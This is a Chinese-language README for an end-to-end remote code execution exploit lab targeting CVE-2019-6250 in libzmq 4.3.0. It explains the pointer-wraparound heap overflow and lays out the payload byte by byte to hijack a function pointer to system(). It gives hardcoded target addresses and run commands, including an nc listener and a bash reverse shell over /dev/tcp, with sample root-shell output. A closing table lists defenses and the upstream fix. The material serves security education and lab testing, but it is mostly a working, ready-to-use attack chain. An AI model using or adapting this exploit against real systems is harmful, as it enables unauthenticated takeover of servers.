针对 CVE-2019-6250 的端到端可用 RCE 利用链 + 可复现实验环境。该漏洞是 libzmq v2_decoder_t::size_ready 中的预认证堆缓冲区溢出。通过 uint64_t 指针算术溢出,未认证对等端可在 ZMTP/2.0 线上路径覆盖相邻的 msg_t::content_t::ffn 函数指针,然后经由 TCP socket 关闭触发:~v2_decoder_t() → _in_progress.close() → system(cmd)。
作者 Nicolas Krassas(@dinosn)。
仅供实验环境使用。 本工具包附带一个有意存在漏洞的 libzmq 4.3.0。请勿在实验环境之外暴露 5555 端口。该漏洞已于七年前在 libzmq 4.3.1 中修复(提交
1a2ed127)。
system() 利用链 — 文件证明


docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- created by the libzmq server process
sudo ./setup.sh # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555 # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# 终端 1 — 监听
nc -lvnp 4444
# 终端 2 — 触发利用链
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
你应该会看到类似这样的输出:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
cannot set terminal process group (1355844) 这一行说明该 Shell 是由 libzmq 目标进程(PID 1355844)生成的,而不是你在本地执行的任何东西。
.
├── README.md # you are here
├── server.c # tiny PULL listener — the vulnerable target
├── exploit.py # full RCE chain
├── setup.sh # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh # start/restart the target
├── read_addresses.sh # regenerate the address profile for a different image
├── run_lab_test.sh # automated end-to-end smoke test (CI-friendly)
├── Dockerfile # one-command containerised lab
└── screenshots/ # README screenshots (generated with charmbracelet/freeze)
src/v2_decoder.cpp:117(libzmq 4.3.0):
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- wraps
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // safe path
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// zero-copy aliasing path — _in_progress.data() == read_pos_
}
msg_size_ 是攻击者控制的大端 uint64_t,来自 ZMTP/2.0 LARGE 帧头。当 msg_size_ = 0xFFFFFFFFFFFFFFFF 时,read_pos_ + msg_size_ 的和按 2⁶⁴ 取模回绕,最终小于右值。边界检查判断为 false → 执行流程进入零拷贝路径 → _in_progress 消息与 recv 缓冲区产生别名。随后解码器向内核请求在 read_pos_ 处继续读取 0xFFFFFFFFFFFFFFFF 字节,而 recv() 会欣然将我们的载荷越过 recv 缓冲区末端,写入相邻的 content_t[] 数组(该数组与 recv 缓冲区在 decoder_allocators.cpp:88 的同一个 malloc() 块中分配)。
[ atomic_counter_t (refcnt) ] 8 bytes
[ recv buffer ] 8192 bytes ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
↑ content_t[0] starts at read_pos_+8183
我们发送 8224 字节载荷,结构如下:
当我们关闭 TCP socket 时,服务端的 ~v2_decoder_t() 会调用 _in_progress.close()。在 msg_t::close 中:
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
init_external_storage 将 _u.zclmsg.flags 设为 0,因此 OR 短路会立即进入该分支——甚至不会检查 refcnt。我们覆盖后的 ffn 被执行。
无需 ROP、无需 shellcode、无需信息泄露:只需解析一个 libc 符号和一条内联命令字符串。
v2_decoder_t查看 stream_engine.cpp:707:
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- NO mechanism object
return true;
}
ZMTP/2.0 路径实例化 v2_decoder_t 时不附带任何 mechanism。只有 ZAP 会拒绝 2.0 连接,而 ZAP 默认关闭。一旦对等端发送 12 字节的 ZMTP/2.0 握手包(0xff + 8 个空字节 + 0x7f + 修订版本 0x01 + socket 类型),之后每个字节都会由 v2_decoder_t 解析。没有认证。没有握手。没有 mechanism 状态机。
可选:使用 -fsanitize=address 构建,并观察堆缓冲区溢出报告:

0 bytes after 18160-byte region 证实了我们计算的块大小:8(atomic_counter)+ 8192(recv 缓冲区)+ 249 × 40(content_t 数组)= 18160。handshake_v2_0:719 处的分配点证实该漏洞在预认证 ZMTP/2.0 路径上触发。
在 kernel.randomize_va_space=0 时,libc 基址、libzmq 基址、堆以及 I/O 线程的 malloc arena 都位于确定地址。exploit.py 中的默认配置文件(DEFAULT_PROFILE)是针对随附实验构建(Debian 12 / Kali 2024.1 / glibc 2.38,libzmq 4.3.0 发布模式 -O2)采集的:
当移植到不同的 glibc / libzmq 构建时,请在 start_server.sh 之后运行 ./read_addresses.sh > profile.json,然后向 exploit 传入 --profile profile.json。
在真实攻击中,你需要信息泄露原语,或者一个无需控制参数即可调用的 one-gadget。两者都不在本实验的范围内——这里的目标是清晰地演示从漏洞到 shell 的完整流程,而不是对抗 ASLR。
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2 # restore default ASLR
Nicolas Krassas — @dinosn
MIT © Nicolas Krassas。有意存在漏洞的 libzmq 4.3.0 源码在构建时从上游 LGPLv3-with-exceptions / MPLv2 仓库获取——其许可证对该部分代码单独适用。
仅用于防御性安全研究、教育和授权安全测试。请勿在受控实验环境之外部署随附的易受攻击构建。
| 载荷偏移 | 字节 | 覆盖内容 |
|---|
[0:16] | 填充 | (位于 recv 缓冲区中) |
[16:K] | 命令字符串 + NUL | (位于 recv 缓冲区中 — system 的参数) |
[K:8183] | 填充 | (位于 recv 缓冲区中) |
[8183:8191] | read_pos+16 | content_t[0].data(→ 命令) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn(控制流目标) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
| 字段 | 值 | 来源 |
|---|
libc_base | 0x7ffff7c00000 | /proc/<pid>/maps |
system_off | 0x53910 | nm -D /lib/x86_64-linux-gnu/libc.so.6 |
read_pos | 0x7ffff000bbc1 | _buf + sizeof(atomic_counter_t) + 9 |
dist_to_content | 8183 | 由内存布局推导 |
cmd_offset | 16 | 载荷中放置命令的位置 |
| 防御措施 | 效果 |
|---|
| 升级到 libzmq ≥ 4.3.1 | 已修复。 提交 1a2ed127 将边界检查重写为 msg_size_ > size_t(allocator.data()+size()-read_pos_)——不再可能发生溢出。 |
对任意正数 n 使用 zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) | 可缓解。 在错误的边界检查发生回绕之前直接短路。 |
| 启用 ZAP 认证 | 阻止 ZMTP/2.0 连接(在 stream_engine.cpp:709 处被拒绝)。并不能修复漏洞;只是封堵未认证路径。 |
| ASLR | 减缓利用武器化进程,但无法阻止它——利用链原语本身不受影响。 |
| Stack canaries / NX / RELRO | 这些都无法防御堆上的函数指针劫持。 |